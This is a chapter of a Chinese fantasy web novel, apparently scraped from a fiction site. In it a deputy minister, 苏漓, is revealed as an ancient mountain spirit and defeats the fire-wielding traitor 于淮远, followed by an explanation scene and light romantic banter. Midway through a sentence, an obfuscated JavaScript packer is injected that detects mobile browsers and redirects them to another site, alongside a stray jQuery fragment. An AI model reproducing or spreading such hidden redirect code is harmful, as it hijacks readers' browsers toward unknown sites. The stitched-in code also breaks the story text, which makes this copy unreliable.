55. 百泉山
作品:《糟糕!山上有妖怪》 浓重的夜色下,一层暗影罩在于淮远的面部,看似和蔼的笑容此刻变得阴森可怖。听到这句话,肖停语后颈发麻,不可抑制地想到那些噩梦,蹙眉,“是你搞的鬼?”
“啧,也只是为了离间你们,让你怀疑冯住云罢了,不过可惜了,但你放心,那种毒素会随时间慢慢消失,不会给你的身体带来太大的影响。”
说完这些,于淮远不再停留,迈开大步,五指慢慢抚上冰冷的大门,触碰到大仇即将得报的灼热的喜悦,身心达到前所未有的舒畅,只差这一步了,他的声音带着难以控制的兴奋,“该说的我都告诉你了,是时候办正事了。”
肖停语盯着他正欲推开门的手,“你想怎么做?一把火把这个地方烧了?”
卯老头虽然被带了回来,但仍不能完全信任他,部门限制了他的能力,将人半监禁在了这里。这间小院子年代久远,还是山上少有的红砖瓦房建筑,里面的一些设施相当简陋。
“原先是这么想的,制造成一场意外,一把火烧了这里。”话锋一转,锐利的目光牢牢锁住肖停语,冷声道,“但现在多了你这么个棘手的家伙,有点头疼。”
话是这么说,但他的掌心骤然运气,毫不犹豫,夜色下,一团熊熊火球燃起,红光瞬间点亮了四周。
于淮远用力一推,火球正要挨上门扉时,大门突然从里面打开了,从里飘出来的无形的气力以迅雷不及掩耳之势快速将火球压灭了。
于淮远一怔,深邃的目光紧紧盯着屋内。
室内的大门敞开着,肆虐的北风先行闯了进去。
只见里面挺直站立着一道黑影,于淮远的神情骤然凝住,仔细盯着那人的身形,看起来不像是卯老头,等里面的人缓缓走近他们,站在光线下,他旋即放松下来,哈哈大笑,“苏漓?”
于淮远不屑地看了肖停语一眼,“这就是你找的帮手?我还以为你要下多大一盘棋呢。”
“就算我受了伤又怎么样,你们两个加在一起都不是我的对手。”
没理会嘲讽,肖停语突然问他,“你就不好奇压制在百泉山上的山都怪吗?”
“可能早就死了吧?或者垚和卯一样,当个缩头乌龟。”说着他的掌心再次凝聚气力,一把坚韧的火鞭很快淬炼了出来,“反正在我眼里都是笑话!”
这一鞭是朝着肖停语的方向甩出的。
面对锋利的火鞭,肖停语身形未动,只缓缓提起唇角,向他露出一个嘲讽的笑来。而后,苏漓已经上前,挡在她面前,右手轻轻一推。
这次于淮远彻底看清了,看似无形的气力下竟然裹着汹涌的水柱。
甩出的火鞭顿时被盘旋的水柱压了下去,又在刹那间被击碎。
他大骇,眸中含着看不清的头绪,“你怎么会?”又在瞬间,一种难以置信的想法冲上头顶,“不可能,这根本不可能!”
他失声道,“你是最后一只山都怪?可是为什么?你不是苏漓吗?”接着他又给自己找了一个尚且接受的理由,“你装作了苏漓的样子。”
试图寻找一个合理的理由欺骗自己。
但肖停语即刻戳破了那点存念,“没想到还有你想不明白的,没想到吧,你找来找去的山都怪,就在你的眼前,还和你做了这么久的同事。”
于淮远震惊地后撤两步,大声怒道,“这事秦洛迟知道吗?”自己竟然被蒙在鼓里多年,现在的他与刚刚自信的模样大相径庭,恼怒与羞耻同时席卷着他,企图用无能的咆哮宣泄愤恨的情绪。
苏漓只淡淡瞥了他一眼,冷静回道,“每届的正部长都知道这件事。”
“每届?”现如今,于淮远还有什么不明白的,“怪不得,他当时唯独对百泉山上的山都怪不上心,原来如此。”
“不过那又怎样!”但他不甘承认自己的愚蠢与即将到手的失败。
在众目睽睽之下,于淮远沐浴着惨淡的月光,在一声声的怒吼中,原本正常的脸部渐渐变得狰狞,胀起一个个血红色的水泡,面上压着一层黑红色。
月光下,血红色的水泡如同地狱的火焰,火势蔓延,在他的周身燃起火气,于淮远不愧得了焱一半的能力,拼尽了全力,火势滔天,凝聚成一记爆裂的火花,凶狠地推向肖停语他们。
火球不断迫近他们。
疯狂的火花带着不甘与怒火,眼看就要压过来,苏漓缓缓睁开眼,看似平静无波的眸中浪潮翻滚,千钧一发之际,一个侧身,挡在了前面。
紧接着,不经意地轻抬手,动作极其悠闲自得,好像运筹帷幄的棋手,在这场势在必得的棋局中,一枚棋子稳稳落下,看似不起眼,却掀出一记势不可挡的水蓝色的水波,水源源源不断输送,将即将击中他们的火球完全包裹,灰蓝色的浪潮下,赤红的火球慢慢被吞噬,最后消失在浪潮中。
‘嗒’一声,宣告了这场对弈的压倒性的胜利。
这还没完,就像滚雪球,外层的水汽越滚越大,直至完全包裹了火球,翻滚的方向又在这时发生了逆转,冲向于淮远。
带着非一般的反噬。
聪明反被聪明误,在金鸣山受的伤还没痊愈,现在又身受重伤,实力大打折扣,根本不敌,于淮远躲闪不及,水只碰到肩膀,巨大的冲击力将重重他拍在地上,伤口因为撞击复又裂开,于淮远痛苦地颤抖,心中充满了怨恨,本以为是必胜的局面,但千算万算,没料到苏漓的身份。
虽然得了焱的半部分能力,在与苏漓的决斗中,始终处于下风,且不说五行相克,一个突然得了势的普通人怎么能和精进了上千年的山都怪相比。
两相较量,水与火相互排斥,互相争夺,争斗着盘旋在空中,最终,浩瀚的水浪如海啸般翻腾,瞬间扑灭了那熊熊燃烧的烈火。
在紧张的对峙中,早就埋伏已久的几人鱼贯而出,他们迅速地将于淮远包围起来。
这个已经濒临疯狂边缘的人,发出了一声绝望的怒吼,最终体力不支,倒在地上,眼中充满了不甘与绝望。
他的身体在剧烈地颤抖。
肖停语缓缓地走向前去,用一种近乎冷漠的语气发出质疑:“做一个平凡的普通人不好吗?还是说,你更喜欢你现在这种半人半鬼的状态?”
于淮远躺在冰冷的地面上,目光涣散,似乎在思考着什么。
一切似乎都已尘埃落定。
本以为下山的秦洛迟突然出现,在于淮远惊诧的目光中,带着一种不容置疑的威严,走到他的身边,给他施加了一道强大的禁锢,并下达命令:“把他关起来,严加看管。”
一切都结束了。
*
翌日上午,秦洛迟办公室。
姚不颂坐在肖停语身边,一边小声地对她说着悄悄话,一边用眼角的余光偷偷观察着苏漓副部长,话语中带着一丝好奇,偷偷八卦,“难怪苏漓副部长的前几届都死于意外,原来都是为了给他自己换新身份玩呢。”
面对众人疑惑的视线,苏漓缓缓而谈,“上一次车祸意外是秦正部长帮我做的假戏。我不会生老病死,这会引起怀疑,所以每隔几十年我都会假死一次。”
为了隐藏他那不老的真相,部门的记录中刻意抹去了苏漓副部长拥有易容能力的事实。事实上,那些所谓的意外死亡的副部长,其实都是苏漓本人,他通过每隔几十年的假死来掩盖自己不会衰老的秘密。
但还是为了部门稳定,这件事还是不能完全公开,是以只几名内部人员知晓。
凌惜言的眼神中充满了探究:“正部长一直知道?”
“为避免引起不必要的麻烦,每届的正部长都是知道此事的。”
看了看目瞪口呆的米三问和冯住云,苏漓轻叹口气,多说了几句,“说起来,我叫作苏漓,深居简出主要是因为他们两个。”
两组织部长一直不合,他当时经常在两人之间做调和。等他再以苏漓身份出现时,为了不暴露身份,这才刻意减少了出现在他们面前的次数。
冯住云难得磕磕巴巴,眼神中的慌乱也是往日不曾出现的,“于副...于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930156|171740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淮远,您和正部长之前就怀疑他了吗?”
秦洛迟插话进来,解释说,“也谈不上,只是一想到这些事竟然都是一个刚来部门的孙契完成的,就觉得有些违和。所以我和苏漓交谈过几次,认为这其中肯定还存在隐情。”
苏漓继续说起,“只是怀疑的人员范围太广,”说着,他环顾周遭几人,“自然包括你们,所以这才没通知你们。”
倒是秦洛迟看了看两眼发红的肖停语,微笑着表示,“不过,我们也没想到,肖停语最先揭开这层疑虑。”
“也多亏了她,当她提出索要文件查询的权限时,我和苏漓就合计,她应该是查到了什么。”
金鸣山事件之后,苏漓注意到自己的衣物有破损,担心自己的纹身可能暴露了,是以打算接触肖停语。
当他看到肖停语申请索要文件查询的权限时,就猜到了她对自己的身份起疑了。再结合她欲言又止的态度,两人轻易猜到她想要以身入局。
所以夜深人静的时候,苏漓私下去找了肖停语,两人开门见山,得此,交换了彼此不知道的消息。
确认了内奸正是于淮远。
接着将计就计,引出了于淮远。
将所有的事情的前因后果解释清楚之后,众人就先回去休息,当他们走在回知行的路上,才真正放松下来。
但姚不颂还是对某些问题有执念,苦恼着皱着眉提出自己的疑惑,“但当年五怪还是犯过大错,为什么还让他当副部长。”碍于长辈面子没办法直接提,但一直憋在心里实在难受。
肖停语回答道:“你们知道为什么那场声势浩大的行动被前辈们悄然压在了萌芽下吗?”
凌惜言与姚不颂懵懵地摇头。
“因为在这五怪中,一直有一个‘卧底’,也是他后来找到了前辈们,请求他们制止五怪的行为。”
姚不颂恍然大悟,朝身后指了指,“难道...”
肖停语给了她一个肯定的眼神。
这也是那天晚上,两位部长告诉她的。当年卯老头与锦、焱在金源县爆发动乱时,苏漓与垚并不知晓此事。
等到五怪集结时,苏漓不屑做这些事,本想一走了之,但又放心不下,于是他一面卧底,一面寻找可以制止他们的人。
事情终于得以圆满解决。
这次,是真的可以好好休息了。
因为不确定于淮远具体哪天动手,所以这几天,肖停语一直守在卯老头的住所,又因为不敢引起他的怀疑,为发射信号之前,一直都是她一个人亲自守着。
不过,这应该是她打过的最轻松的一次战斗了吧,整个过程中只需要动动嘴皮子,根本不用动手,“阿嚏!”
接着,肖停语就被自己的衣服帽子兜头盖住,“欸,喘不上来气了。”她挣扎着要摘下帽子。
方遇安钳住她的双手,顺势牵住,没好气道,“你用头顶呼吸?”
“嘿,你说你这人,你怎么这么不懂得怜香惜玉。”
方遇安忍着脾气,“别给我乱扣帽子,你跟我说实话,你最近是不是没老实吃药。”
“你哪只眼睛看见我没...阿嚏!”
方遇安闭了闭眼,手指戳戳她的脑门,“我刚听见了!”
肖停语挣扎无果,试图狡辩,“那玩意喝了睡觉,影响我晚上蹲守。”过后实在忍不住,“方遇安,你好烦啊。”
“你再不听话,以后我会更烦,请你以后慢慢习惯吧。”
“欸,你领着我干吗去?”
“现在没事了,给我乖乖吃药去。”
“我自己会吃。”
“鉴于你先前失.信的行为,我不放心,盯着你吃完了,再亲自看着你睡觉。”
“你不会看我睡觉,趁机耍流氓吧。”
“肖停语,你是不是发烧了,收回你乱糟的想法。”
“你的意思是你不会?”
“我的意思是,谁说只有在你睡觉时我才会想耍流氓。”
.....